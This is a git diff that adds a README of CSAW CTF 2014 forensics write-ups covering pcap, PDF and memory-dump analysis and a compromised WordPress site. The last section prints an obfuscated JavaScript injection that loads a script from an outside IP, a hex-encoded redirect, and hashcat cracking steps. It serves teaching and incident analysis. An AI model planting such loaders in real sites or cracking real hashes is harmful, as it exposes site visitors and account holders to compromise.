rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/cryptography/crypto-200/from_the_net/psifer-school.php diff --git a/CTFs_and_WarGames/2014/CSAW-quals/cryptography/crypto-200/from_the_net/psifer-school.pl b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/cryptography/crypto-200/from_the_net/psifer-school.pl similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/cryptography/crypto-200/from_the_net/psifer-school.pl rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/cryptography/crypto-200/from_the_net/psifer-school.pl diff --git a/CTFs_and_WarGames/2014/CSAW-quals/cryptography/crypto-200/locate b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/cryptography/crypto-200/locate similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/cryptography/crypto-200/locate rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/cryptography/crypto-200/locate diff --git a/CTFs_and_WarGames/2014/CSAW-quals/cryptography/crypto-200/psifer-school.py b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/cryptography/crypto-200/psifer-school.py similarity index 98% rename from CTFs_and_WarGames/2014/CSAW-quals/cryptography/crypto-200/psifer-school.py rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/cryptography/crypto-200/psifer-school.py index 50a0524..b353dc2 100644 --- a/CTFs_and_WarGames/2014/CSAW-quals/cryptography/crypto-200/psifer-school.py +++ b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/cryptography/crypto-200/psifer-school.py @@ -1,7 +1,7 @@ #!/usr/bin/env python -__author__ = "bt3gl" +__author__ = "Mia Stein" import sys diff --git a/CTFs_and_WarGames/2014/CSAW-quals/cryptography/crypto-200/pygenere.py b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/cryptography/crypto-200/pygenere.py similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/cryptography/crypto-200/pygenere.py rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/cryptography/crypto-200/pygenere.py diff --git a/CTFs_and_WarGames/2014/CSAW-quals/cryptography/crypto-200/scully b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/cryptography/crypto-200/scully similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/cryptography/crypto-200/scully rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/cryptography/crypto-200/scully diff --git a/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/README.md b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/README.md new file mode 100644 index 0000000..c53cb4b --- /dev/null +++ b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/README.md @@ -0,0 +1,1012 @@ +# CSAW CTF 2014 - Forensics 200: "why not sftp?" + +The purpose of this problem is to teach about the need for encrypting your data. The [FTP] protocol sends clear text over the wire, *i.e* the data is transmitted without any encryption. + [SSH/Secure File Transfer Protocol] is a network protocol providing secure file transfer. Using SFTP, instead of FTP, would avoid finding the flag in this problem in the way we did. + +This is the second forensics problem and it starts with the following text: + +> well seriously, why not? +> +> Written by marc +> +> [traffic-5.pcap] +> + + + +--- + +## Analyzing the PCAP File + +Now let's search for the flag! We open the [pcap] file in [Wireshark] (an open-source packet analyzer). There are several things that we could search for in this file, for instance, we could look for FTP transactions or we could search for strings such as *password* or *flag*. We show both approaches. + + +## Solution 1: Searching for the string *flag* + +#### Going in the Wrong Way + +So the first thing I did was searching for the string *password*: + +1. Go to Edit +2. Go to Find Packet +3. Search for password choosing the options string and packet bytes. + +Clicking on *Follow TCP Stream* gives: + + +Nope. This is misleading information! + +--- + +#### But We Were Almost There! + +Now, if we search for *flag* we actually find something: + + + +We find the packet with a file named flag! Awesome. + + +--- + +## Solution 2: Looking for the FTP Protocols + +All right, let's use another information we have: it should be something related to the FTP protocol. In Wireshark, we can find specific protocol with filters. We want to filter for FTP with some data. We start trying the usual FTP-DATA port: + +``` +tcp.port==21 +``` + +Nope. The results should be another port. Let's search explicitly for: + +``` +ftp-data +``` + +Cool, we found a few packets: + + + We don't need to scroll down too much to find a packet with a string flag on it! Awesome. + + +--- + +## Extracting the File + +Once we find the packet with any of the methods above, we right-click it selecting *Follow TCP Stream*. This leads to: + + + +The file *flag.png* is our flag. To extract it we click in the *Save as* button, then in the terminal, we can use the command [file]: +```sh +$ file s.whatever +s.whatever: Zip archive data, at least v2.0 to extract +``` + +Awesome, so all we need is to *unzip* this file and we get *flag.png*: + + + +#### Extra: Finding files with *File Signatures* +If we don't know the name of the file we are looking for, but we know its type, we can search for its [file signature], which can be found [here] (a hex value). + + +**Hack all the Things!** +[file signature]: http://en.wikipedia.org/wiki/File_signature +[here]: http://en.wikipedia.org/wiki/List_of_file_signatures +[file]: http://en.wikipedia.org/wiki/File_(command) +[SSH/Secure File Transfer Protocol]: http://en.wikipedia.org/wiki/SSH_File_Transfer_Protocol +[traffic-5.pcap]: https://ctf.isis.poly.edu/static/uploads/7831788f2ab94feddc72ce53e80fda5f/traffic-5.pcap +[sftp]: http://en.wikipedia.org/wiki/SSH_File_Transfer_Protocol +[pcap]: http://en.wikipedia.org/wiki/Pcap +[Wireshark]: https://www.wireshark.org/ +[FTP]: http://en.wikipedia.org/wiki/File_Transfer_Protocol + +------------- + +# CSAW CTF 2014 - Forensics 200: "Obscurity" + + + +The third forensics challenge starts with the following text: + +> see or do not see +> +> Written by marc +> +> [pdf.pdf] +> + + +Hacking PDFs, what fun! + + +In general, when dealing with reverse-engineering malicious documents, we follow these steps: + + 1. We search for malicious embedded code (shell code, JavaScript). + + 2. We extract any suspicious code segments + + 3. If we see shellcode, we disassemble or debug it. If we see JavaScript (or ActionScript or VB macro code), we try to examine it. + + +However, this problem turned out to be very simple... + +--- + +## Finding the Flag in 10 Seconds + +Yeap, this easy: + + + 1. Download the PDF file. + + 2. Open it in any PDF viewer. + + 3. CTRL+A (select all the content). + + 4. You see the flag! + + + +OK, we were lucky. Keep reading if you think this was too easy. + + + +---- + +## Analyzing the ID and the Streams in a PDF File + +Let's suppose we had no clue that the flag would just be a text in the file. In this case, we would want to examine the file's structure. For this task, we use the [PDF Tool] suite, which is written in Python. + +#### pdfid + +We start with *pdfid.py*, which parses the PDF looking for certain keywords. We download and unzip that script, and then we make it an executable: + +```sh +$ unzip pdfid_v0_1_2.zip +$ chmod a+x pdfid.py +``` + +Running over our file gives: +```sh +$ ./pdfid.py pdf.pdf +PDFiD 0.1.2 pdf.pdf + PDF Header: %PDF-1.3 + obj 20 + endobj 19 + stream 10 + endstream 10 + xref 1 + trailer 1 + startxref 1 + /Page 1 + /Encrypt 0 + /ObjStm 0 + /JS 0 + /JavaScript 0 + /AA 0 + /OpenAction 0 + /AcroForm 0 + /JBIG2Decode 0 + /RichMedia 0 + /Launch 0 + /EmbeddedFile 0 + /XFA 0 + /Colors > 2^24 0 +``` + +All right, no funny stuff going on here. We need to look deeper into each of these streams. + +#### pdf-parser + +We download *pdf-parser.py*, which is used to search for all the fundamental elements in a PDF file. Let's take a closer look: + +```sh +$ unzip pdf-parser_V0_4_3.zip +$ chmod a+x pdf-parser.py +$ ./pdf-parser.py +Usage: pdf-parser.py [options] pdf-file|zip-file|url +pdf-parser, use it to parse a PDF document + +Options: + --version show program's version number and exit + -s SEARCH, --search=SEARCH + string to search in indirect objects (except streams) + -f, --filter pass stream object through filters (FlateDecode, + ASCIIHexDecode, ASCII85Decode, LZWDecode and + RunLengthDecode only) + -o OBJECT, --object=OBJECT + id of indirect object to select (version independent) + -r REFERENCE, --reference=REFERENCE + id of indirect object being referenced (version + independent) + -e ELEMENTS, --elements=ELEMENTS + type of elements to select (cxtsi) + -w, --raw raw output for data and filters + -a, --stats display stats for pdf document + -t TYPE, --type=TYPE type of indirect object to select + -v, --verbose display malformed PDF elements + -x EXTRACT, --extract=EXTRACT + filename to extract malformed content to + -H, --hash display hash of objects + -n, --nocanonicalizedoutput + do not canonicalize the output + -d DUMP, --dump=DUMP filename to dump stream content to + -D, --debug display debug info + -c, --content display the content for objects without streams or + with streams without filters + --searchstream=SEARCHSTREAM + string to search in streams + --unfiltered search in unfiltered streams + --casesensitive case sensitive search in streams + --regex use regex to search in streams +``` + +Very interesting! We run it with our file, searching for the string */ProcSet*: +```sh +$ ./pdf-parser.py pdf.pdf | grep /ProcSet + /ProcSet [ /ImageC /Text /PDF /ImageI /ImageB ] +``` +Awesome! Even though we don't see any text in the file (when we opened it in the PDF viewer), there is text somewhere! + + +------------- + +## Getting Text from PDF + + +A good way to extract text from a pdf is using [pdftotext]: + +```sh +$ pdftotext pdf.pdf +``` + +You should get a ```pdf.txt``` file. Reading it with Linux's commands ```cat``` or ```strings```gives you the flag: + +```sh +$ strings pdf.txt +flag{security_through_obscurity} +``` + +As a note, there are several other PDF forensics tools that are worth to be mentioned: [Origami] (pdfextract extracts JavaScript from PDF files), [PDF Stream Dumper] (several PDF analysis tools), [Peepdf] (command-line shell for examining PDF), [PDF X-RAY Lite] (creates an HTML report with decoded file structure and contents), [SWF mastah] (extracts SWF objects), [Pyew](for examining and decoding structure and content of PDF files). + + + + + +**Hack all the things!** +[PDF Tool]:http://blog.didierstevens.com/programs/pdf-tools/ +[Origami]: http://esec-lab.sogeti.com/pages/Origami +[PDF Stream Dumper]: http://blog.zeltser.com/post/3235995383/pdf-stream-dumper-malicious-file-analysis +[Peepdf]: http://blog.zeltser.com/post/6780160077/peepdf-malicious-pdf-analysis +[SWF mastah]: http://blog.zeltser.com/post/12615013257/extracting-swf-from-pdf-using-swf-mastah +[PDF X-RAY Lite]: https://github.com/9b/pdfxray_lite +[Pyew]: http://code.google.com/p/pyew/wiki/PDFAnalysis + +[this website]: http://blog.didierstevens.com/programs/pdf-tools/ +[pdf-tools]: https://apps.fedoraproject.org/packages/pdf-tools +[pdf.pdf]: https://ctf.isis.poly.edu/static/uploads/883c7046854e04138c55680ffde90a61/pdf.pdf +[pdftotext]: http://en.wikipedia.org/wiki/Pdftotext + + + +---- + + +# CSAW CTF 2014 - Forensics 100: "dumpster diving" + + +This was the first forensic challenge. It starts with the following text: + +> dumpsters are cool, but cores are cooler +> +> Written by marc +> +> [firefox.mem.zip] + + + +##Unziping firefox.mem.zip + +The given file has a funny extension *.mem.zip*. Before we go ahead and unzip it, let's try to learn more about this file. To do this we choose to use the Linux's command [file]: + +```sh +$ file --help +Usage: file [OPTION...] [FILE...] +Determine the type of FILEs. + + --help display this help and exit + -v, --version output version information and exit + -m, --magic-file LIST use LIST as a colon-separated list of magic + number files + -z, --uncompress try to look inside compressed files + -b, --brief do not prepend filenames to output lines + -c, --checking-printout print the parsed form of the magic file, use in + conjunction with -m to debug a new magic file + before installing it + -e, --exclude TEST exclude TEST from the list of test to be + performed for file. Valid tests are: + apptype, ascii, cdf, compress, elf, encoding, + soft, tar, text, tokens + -f, --files-from FILE read the filenames to be examined from FILE + -F, --separator STRING use string as separator instead of `:' + -i, --mime output MIME type strings (--mime-type and + --mime-encoding) + --apple output the Apple CREATOR/TYPE + --mime-type output the MIME type + --mime-encoding output the MIME encoding + -k, --keep-going don't stop at the first match + -l, --list list magic strength + -L, --dereference follow symlinks (default) + -h, --no-dereference don't follow symlinks + -n, --no-buffer do not buffer output + -N, --no-pad do not pad output + -0, --print0 terminate filenames with ASCII NUL + -p, --preserve-date preserve access times on files + -r, --raw don't translate unprintable chars to \ooo + -s, --special-files treat special (block/char devices) files as + ordinary ones + -C, --compile compile file specified by -m + -d, --debug print debugging messages +``` + +We find the flag ```-z```, which allows us to look inside the zipped files: + +```sh +$ file -z firefox.mem.zip +firefox.mem.zip: ELF 64-bit LSB core file x86-64, version 1 (SYSV) (Zip archive data, at least v2.0 to extract) +``` +Cool! So let's go ahead and unzip this file: + +```sh +$ unzip firefox.mem.zip nzip firefox.mem.zip +Archive: firefox.mem.zip + inflating: firefox.mem + creating: __MACOSX/ + inflating: __MACOSX/._firefox.mem +``` + +-------- + + + +## Extra: Learning More about the *.mem* File + +This is a very weird file extension. If you google *.mem*, you don't find much, it's clear it's a memory file, but what now? From the *file* command, we learned that this is an *ELF 64-bit LSB core*. Let's understand this by parts. + +A [ELF] file (Executable and Linkable Format) is a standard file format for executables, object code, shared libraries, and core dumps. The cool thing about ELF is that it's not bound to any particular architecture. + +In Linux, we can use the command [readelf] to displays information about ELF files: + + +```sh +$ readelf firefox.mem +Usage: readelf <option(s)> elf-file(s) + Display information about the contents of ELF format files + Options are: + -a --all Equivalent to: -h -l -S -s -r -d -V -A -I + -h --file-header Display the ELF file header + -l --program-headers Display the program headers + --segments An alias for --program-headers + -S --section-headers Display the sections' header + --sections An alias for --section-headers + -g --section-groups Display the section groups + -t --section-details Display the section details + -e --headers Equivalent to: -h -l -S + -s --syms Display the symbol table + --symbols An alias for --syms + --dyn-syms Display the dynamic symbol table + -n --notes Display the core notes (if present) + -r --relocs Display the relocations (if present) + -u --unwind Display the unwind info (if present) + -d --dynamic Display the dynamic section (if present) + -V --version-info Display the version sections (if present) + -A --arch-specific Display architecture specific information (if any) + -c --archive-index Display the symbol/file index in an archive + -D --use-dynamic Use the dynamic section info when displaying symbols + -x --hex-dump=<number|name> + Dump the contents of section <number|name> as bytes + -p --string-dump=<number|name> + Dump the contents of section <number|name> as strings + -R --relocated-dump=<number|name> + Dump the contents of section <number|name> as relocated bytes + -w[lLiaprmfFsoRt] or + --debug-dump[=rawline,=decodedline,=info,=abbrev,=pubnames,=aranges,=macro,=frames, + =frames-interp,=str,=loc,=Ranges,=pubtypes, + =gdb_index,=trace_info,=trace_abbrev,=trace_aranges] + Display the contents of DWARF2 debug sections + --dwarf-depth=N Do not display DIEs at depth N or greater + --dwarf-start=N Display DIEs starting with N, at the same depth + or deeper + -I --histogram Display histogram of bucket list lengths + -W --wide Allow output width to exceed 80 characters + @<file> Read options from <file> + -H --help Display this information + -v --version Display the version number of readelf + +``` + + +In addition, [LSB] stands for *Linux Standard Base*, which is a joint project by several Linux distributions. It specifies standard libraries, a number of commands and utilities that extend the POSIX standard, the layout of the file system hierarchy, run levels, the printing system, etc. + + + + +--- + +## Extracting Information from the *.mem* File + +It turned out that we don't even need to know anything about the file to find the flag. All we need to do is to search for the *flag* string: + +```sh +$ cat firefox.mem | grep -a 'flag{' +P��negativeone_or_fdZZZZZZZZZZZZnegativeone_or_nothingZZnegativeone_or_ssize_tZZd_name_extra_sizeZZZZZZZZZZZZnull_or_dirent_ptrZZZZZZZZZZOSFILE_SIZEOF_DIRZZZZZZZZZZZZ���� 3���������ZZZZZZZH�f�L��L��ZZ����@�m���������ZZZZZZZAG�@r���y��ZZZZZZZZflag{cd69b4957f06cd818d7bf3d61980e291} +``` + +Yay! We found the flag: **cd69b4957f06cd818d7bf3d61980e291**! + +**Hack all the things!** + + +[LSB]: http://en.wikipedia.org/wiki/Linux_Standard_Base +[readelf]: http://linux.die.net/man/1/readelf +[file]: http://en.wikipedia.org/wiki/File_(command) +[firefox.mem.zip]: https://ctf.isis.poly.edu/static/uploads/606580b079e73e14ab2751e35d22ad44/firefox.mem.zip +[ELF]: http://en.wikipedia.org/wiki/Executable_and_Linkable_Format + + +---------------------- + +# CSAW CTF 2014 - Forensics 300: "Fluffy No More" + + + +This is the fourth and the last of the forensics challenge in the CSAW CTF 2014 competition. It was much harder than the three before, but it was also much more interesting. + +The challenge starts with the following text: + + +> OH NO WE'VE BEEN HACKED!!!!!! -- said the Eye Heart Fluffy Bunnies Blog owner. +> Life was grand for the fluff fanatic until one day the site's users started to get attacked! Apparently fluffy bunnies are not just a love of fun furry families but also furtive foreign governments. The notorious "Forgotten Freaks" hacking group was known to be targeting high powered politicians. Were the cute bunnies the next in their long list of conquests!?? +> +>Well... The fluff needs your stuff. I've pulled the logs from the server for you along with a backup of its database and configuration. Figure out what is going on! +> +>Written by brad_anton +> +> [CSAW2014-FluffyNoMore-v0.1.tar.bz2] + +Oh, no! Nobody should mess with fluffy bunnies! Ever! Let's find how this attack happened! + + +## Inspecting the Directories + +We start by checking the identity of the file with the command [file]. We do this to make sure that the extension is not misleading: +```sh +$ file CSAW2014-FluffyNoMore-v0.1.tar.bz2 +CSAW2014-FluffyNoMore-v0.1.tar.bz2: bzip2 compressed data, block size = 900k + +``` + +OK, cool, we can go ahead and unzip the *bzip2* (compressed) tarball: + +```sh +$ tar --help | grep bz + -j, --bzip2 filter the archive through bzip2 +$ tar -xjf CSAW2014-FluffyNoMore-v0.1.tar.bz2 +``` +Now let's take a look inside the folder: +```sh +$ tree CSAW2014-FluffyNoMore-v0.1 +CSAW2014-FluffyNoMore-v0.1 +├── etc_directory.tar.bz2 +├── logs.tar.bz2 +├── mysql_backup.sql.bz2 +└── webroot.tar.bz2 + +0 directories, 4 files +``` + +All right, 4 more tarballs. Unziping and organizing them give us the following directories: + + - etc/ + - var/log and var/www + - mysql_backup.sql ([MySQL database dump file]) + + +This is the directory structure of a [LAMP server], where LAMP stands for Linux-Apache-MySQL-PHP in the [Linux File System]. In this framework, the PHP/HTML/JavaScript webpage is placed inside ```var/www```. + +The directory ```var/``` contains files that are expected to change in size and content as the system is running (var stands for variable). So it is natural that system log files are generally placed at ```/var/log```. + + + Finally, the ```etc/``` directory contains the system configuration files. For example, the file ```resolv.conf``` tells the system where to go on the network to obtain host name to IP address mappings (DNS). Another example is the file ```passwd```, which stores login information. + +--- + +## Before Anything else... + +OK, based on the previous challenges, we need to give a try: +```sh +$ grep -r -l "key{" +var/www/html/wp-content/plugins/contact-form-7/includes/js/jquery-ui/themes/smoothness/jquery-ui.min.css +webroot.tar.bz2-extracted/var/www/html/wp-content/plugins/contact-form-7/includes/js/jquery-ui/themes/smoothness/jquery-ui.min.css + +$ grep -r -l "flag{" +var/www/html/wp-content/plugins/contact-form-7/includes/js/jquery-ui/themes/smoothness/jquery-ui.min.css +webroot.tar.bz2-extracted/var/www/html/wp-content/plugins/contact-form-7/includes/js/jquery-ui/themes/smoothness/jquery-ui.min.css +``` + + Is our life this easy??? No, of course not. The hits we got are just funny names to mislead us, for example: +```html + -96px}.ui-icon-home{background-position:0 -112px}.ui-icon-flag{background-position:-16px +``` + +--- +## Analyzing the MySQL Dump File + +Let's start taking a look at ```mysql_backup.sql```. + +Of course, no luck for: + +```sh +$ cat mysql_backup.sql | grep 'flag{' +``` + +Fine. We open ```mysql_backup.sql``` in a text editor. The comments table shows that someone named "hacker" made an appearance: + + +```mysql +-- MySQL dump 10.13 Distrib 5.5.38, for debian-linux-gnu (i686) +-- +-- Host: localhost Database: wordpress +-- ------------------------------------------------------ + +-- Dumping data for table `wp_comments` +-- +(..) + +(4,5,'Hacker','hacker@secretspace.com','','192.168.127.130','2014-09-16 14:21:26','2014-09-16 14:21:26','I HATE BUNNIES AND IM GOING TO HACK THIS SITE BWHAHAHAHAHAHAHAHAHAHAHAH!!!!!!! BUNNIES SUX',0,'1','Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0','',0,0), + +(7,5,'Bald Bunny','nohair@hairlessclub.com','','192.168.127.130','2014-09-16 20:47:18','2014-09-16 20:47:18','I find this blog EXTREMELY OFFENSIVE!',0,'1','Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0','',0,0), + +(8,5,'MASTER OF DISASTER','shh@nottellin.com','','192.168.127.137','2014-09-17 19:40:57','2014-09-17 19:40:57','Shut up baldy',0,'1','Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko','',7,0); +(...) +``` + + +Searching for the host **secretspace.com** leads to some generic website. Inspecting its source code does not give us any hint either. Maybe its IP address? + +```sh +$ dig secretspace.com + +; <<>> DiG 9.9.4-P2-RedHat-9.9.4-15.P2.fc20 <<>> secretspace.com +;; global options: +cmd +;; Got answer: +;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 61131 +;; flags: qr rd ra ad; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0 + +;; QUESTION SECTION: +;secretspace.com. IN A + +;; ANSWER SECTION: +secretspace.com. 285 IN A 72.167.232.29 + +;; Query time: 7 msec +;; SERVER: 10.0.0.1#53(10.0.0.1) +;; WHEN: Thu Sep 25 15:51:26 EDT 2014 +;; MSG SIZE rcvd: 49 +``` + +The IP 72.167.232.29 leads to another generic page with no hints and with nothing in special in the source code. Wrong direction... + + +All right, let's give a last try and open the tables from the MySQL dump file inside a nice GUI. I use [phpMyAdmin], which I showed how to install and to configure in my tutorial about setting up a [LAMP server]. + +We open ```localhost/phpmyadmin``` in our browser. First, we go to *Databases* and then *Create Database* with any name we want. Then we *Import* ```mysql_backup.sql`` to this database. All the tables are loaded. Let's use the *Search* option to look for *key* or *flag*. + + + + + +Nope. Nothing in special. By the way, ```default_pingback_flag1`` is just a **Wordpress** flag indicating the default status of ping backs when new blog posts are published. + +Let's continue our search. If we look inside each of the tables we find: + +* The URL for the [blog], which doesn't render. However, in the source code, there is a commented link that leads to a [cute website]. Nothing else. + +* Oh, wait! We found a hashed password! + + +--- +## Cracking the Password + +We want to crack ```$P$BmHbpWPZrjt.2V8T2xDJfbDrAJZ9So1``` and for this, we are going to use [hashcat]. If you are in [Kali] or in any Debian distribution you can install it with: +```sh +$ apt-get hashcat +``` + +In Fedora, we need to download and unzip it: +```sh +$ wget http://hashcat.net/files/hashcat-0.47.7z +$ 7za e hashcat-0.47.7z +``` + +Now, we are going to perform a brute force attack so we need a list of passwords. If you are using Kali, you can find them with: + +```sh +$ locate wordlist +``` +If not, this is an example for you (it's always good to have several lists!): +```sh +$ wget http://www.scovetta.com/download/500_passwords.txt +$ head 500_passwords.txt +123456 +password +12345678 +1234 +12345 +dragon +qwerty +696969 +mustang +``` + +Hashcat is awesome because it gives you a list of hash types: + +``` + 0 = MD5 + 10 = md5($pass.$salt) + 20 = md5($salt.$pass) + 30 = md5(unicode($pass).$salt) + 40 = md5(unicode($pass).$salt) + 50 = HMAC-MD5 (key = $pass) + 60 = HMAC-MD5 (key = $salt) + 100 = SHA1 + 110 = sha1($pass.$salt) + 120 = sha1($salt.$pass) + 130 = sha1(unicode($pass).$salt) + 140 = sha1($salt.unicode($pass)) + 150 = HMAC-SHA1 (key = $pass) + 160 = HMAC-SHA1 (key = $salt) + 200 = MySQL + 300 = MySQL4.1/MySQL5 + 400 = phpass, MD5(Wordpress), MD5(phpBB3) + 500 = md5crypt, MD5(Unix), FreeBSD MD5, Cisco-IOS MD5 + 800 = SHA-1(Django) + (...) +``` + +We choose 400 because we are dealing with Wordpress. We copy and paste the hash to a file *pass.hash*. Then, we run: +```sh +$ ./hashcat-cli64.bin -m 400 -a 0 -o cracked.txt --remove pass.hash word_list.txt + +Initializing hashcat v0.47 by atom with 8 threads and 32mb segment-size... +(...) + +``` +where: + + * -m is for --hash-type=NUM + * -a 0: Using a dictionary attack + * cracked.txt is the output file + * word_list.txt is our dictionary + + +Now let's take a peak in the output file: + +```sh +$ cat cracked.txt +$P$BmHbpWPZrjt.2V8T2xDJfbDrAJZ9So1:fluffybunnies +``` + +It worked! Our password is **fluffybunnies**! + +All right, this is a very silly password! It could be easily guessed. If you were the attacker, wouldn't you try this as the first option? OK, maybe right after *password* and *123456*... :) + + +#### What we have so far +All we have learned from the MySQL dump file was: + +* the attacker's motivation, + +* the blog's URL, + +* that the application was in Wordpress, + +* and a password. + +Ah, also that ```mailserver_login:login@example.com``` and ```mailserver_pass=password```. Talking about security... + +Let's move on. + +--- +## Inspecting /var/logs/apache2 + +The next item in the list is log inspection. We need wisely choose where to start because there are many of them: + +```sh +$ find . -type f -name '*.log' +./apache2/error.log +./apache2/access.log +./apache2/other_vhosts_access.log +./fontconfig.log +./boot.log +./gpu-manager.log +./mysql.log +./bootstrap.log +./pm-powersave.log +./kern.log +./mysql/error.log +./alternatives.log +./lightdm/x-0.log +./lightdm/lightdm.log +./casper.log +./auth.log +./apt/term.log +./apt/history.log +./dpkg.log +./Xorg.0.log +./upstart/container-detect.log +./upstart/console-setup.log +./upstart/mysql.log +./upstart/alsa-state.log +./upstart/network-manager.log +./upstart/whoopsie.log +./upstart/procps-virtual-filesystems.log +./upstart/cryptdisks.log +./upstart/systemd-logind.log +./upstart/procps-static-network-up.log +./upstart/alsa-restore.log +./upstart/modemmanager.log +``` + +We start with the Apache's log because they carry the connection information. If there is any important information in the log files, it should appear in the end, because the attack should be one of the last things that were logged. + + It turned out that [Tailing] the *apache* logs did not reveal anything useful. + +----- +## Inspecting var/logs/auth.log + + +Considering that the password **fluffybunnies** was very easy to guess, we are going to take a leap and suppose that this was how the attack was crafted. + +Tailing ```auth.log``` shows something interesting: + +```sh +Sep 17 19:18:53 ubuntu sudo: ubuntu : TTY=pts/0 ; PWD=/home/ubuntu/CSAW2014-WordPress/var/www ; USER=root ; COMMAND=/bin/chmod -R 775 /var/www/ +Sep 17 19:20:09 ubuntu sudo: ubuntu : TTY=pts/0 ; PWD=/home/ubuntu/CSAW2014-WordPress/var/www ; USER=root ; COMMAND=/usr/bin/vi /var/www/html/wp-content/themes/twentythirteen/js/html5.js +Sep 17 19:20:55 ubuntu sudo: ubuntu : TTY=pts/0 ; PWD=/home/ubuntu/CSAW2014-WordPress/var/www ; USER=root ; COMMAND=/usr/bin/find /var/www/html/ * touch {} +``` +So someone logged as root: + + 1. downgraded the permissions of */var/www* (755 means read and execute access for everyone and also write access for the owner of the file), and + + 2. modified a JavaScript file (html5.js) in *vi*. + +--- +## Finding the JavaScript Exploit + + +It looks like an attack to me! Let's [diff] this JavaScript file with the original ([which we can just google]): + + +```sh +$ diff html5.js html5_normal.js +93,122d92 +< var g = "ti"; +< var c = "HTML Tags"; +< var f = ". li colgroup br src datalist script option ."; +< f = f.split(" "); +< c = ""; +< k = "/"; +< m = f[6]; +< for (var i = 0; i < f.length; i++) { +< c += f[i].length.toString(); +< } +< v = f[0]; +< x = "\'ht"; +< b = f[4]; +< f = 2541 * 6 - 35 + 46 + 12 - 15269; +< c += f.toString(); +< f = (56 + 31 + 68 * 65 + 41 - 548) / 4000 - 1; +< c += f.toString(); +< f = ""; +< c = c.split(""); +< var w = 0; +< u = "s"; +< for (var i = 0; i < c.length; i++) { +< if (((i == 3 || i == 6) && w != 2) || ((i == 8) && w == 2)) { +< f += String.fromCharCode(46); +< w++; +< } +< f += c[i]; +< } +< i = k + "anal"; +< document.write("<" + m + " " + b + "=" + x + "tp:" + k + k + f + i + "y" + g + "c" + u + v + "j" + u + "\'>\</" + m + "\>"); + +``` +Aha!!! So what is being written? + +In JavaScript, the function ```document.write()``` writes HTML expressions or JavaScript code to a document. However, we can debug it in the console if we want, changing it to ```console.log()``` (and changing any ```document``` word to ```console```). + +To run JavaScript in the console, you need to install [Node]. + +So we run and we get a URL: + + +```sh +$ node html5.js +<script src='http://128.238.66.100/analytics.js'></script> +``` +---- + +## Analyzing the Second JavaScript Exploit + +Awesome, we see a script exploit! Let's get it! + +```sh +$ wget http://128.238.66.100/analytics.js +--2014-09-25 19:17:19-- http://128.238.66.100/analytics.js +Connecting to 128.238.66.100:80... connected. +HTTP request sent, awaiting response... 200 OK +Length: 16072 (16K) [application/javascript] +Saving to: ‘analytics.js’ + +100%[===============================================================================>] 16,072 --.-K/s in 0.008s + +2014-09-25 19:17:19 (2.02 MB/s) - ‘analytics.js’ saved [16072/16072] +``` + + +The file turns out to be large, and *grep* *flag* or *key* doesn't show any hit. No IP addresses or URL neither. + +OK, let's take a closer look. We open the file in a text editor and we find a weird hex-encoded variable that is completely unconnected from the rest: +``` +var _0x91fe = ["\x68\x74\x74\x70\x3A\x2F\x2F\x31\x32\x38\x2E\x32\x33\x38\x2E\x36\x36\x2E\x31\x30\x30\x2F\x61\x6E\x6E\x6F\x75\x6E\x63\x65\x6D\x65\x6E\x74\x2E\x70\x64\x66", "\x5F\x73\x65\x6C\x66", "\x6F\x70\x65\x6E"]; +window[_0x91fe[2]](_0x91fe[0], _0x91fe[1]); +``` + +We decode it using Python or a [online hex-decode] and we get another file: +```python +>>> print("\x68\x74\x74\x70\x3A\x2F\x2F\x31\x32\x38\x2E\x32\x33\x38\x2E\x36\x36\x2E\x31\x30\x30\x2F\x61\x6E\x6E\x6F\x75\x6E\x63\x65\x6D\x65\x6E\x74\x2E\x70\x64\x66", "\x5F\x73\x65\x6C\x66", "\x6F\x70\x65\x6E") +('http://128.238.66.100/announcement.pdf', '_self', 'open') +``` + +Opening the URL leads to this picture: + + + +LOL. Funny, but no flag yet... + +It should be in the PDF somewhere! + +___ +## Finding the Second Hex-encoded String: Approach I + + +All right, let's use what we learned from the [CSAW CTF 2014 Forensic -Obscurity] problem. First, let's see if we find the flag with a simple grep: +```sh +$./pdf-parser.py announcement.pdf | grep flag +$./pdf-parser.py announcement.pdf | grep key +``` + +No luck. Let us ID the file to see if we find any funny stream: + +```sh +$ ./pdfid.py announcement.pdf PDFiD 0.1.2 announcement.pdf + PDF Header: %PDF-1.4 + obj 9 + endobj 9 + stream 4 + endstream 4 + xref 1 + trailer 1 + startxref 1 + /Page 1 + /Encrypt 0 + /ObjStm 0 + /JS 0 + /JavaScript 0 + /AA 0 + /OpenAction 0 + /AcroForm 0 + /JBIG2Decode 0 + /RichMedia 0 + /Launch 0 + /EmbeddedFile 1 + /XFA 0 + /Colors > 2^24 0 +``` + +Oh, cool, there is a **Embedded File**! Let's look closer to this object: +```sh +$ ./pdf-parser.py --stats announcement.pdf Comment: 3 +XREF: 1 +Trailer: 1 +StartXref: 1 +Indirect object: 9 + 2: 3, 7 + /Catalog 1: 6 + /EmbeddedFile 1: 8 + /Filespec 1: 9 + /Page 1: 5 + /Pages 1: 4 + /XObject 2: 1, 2 +``` + + Nice. So now we can decode our pdf file using the **object code**, which we can see above that is 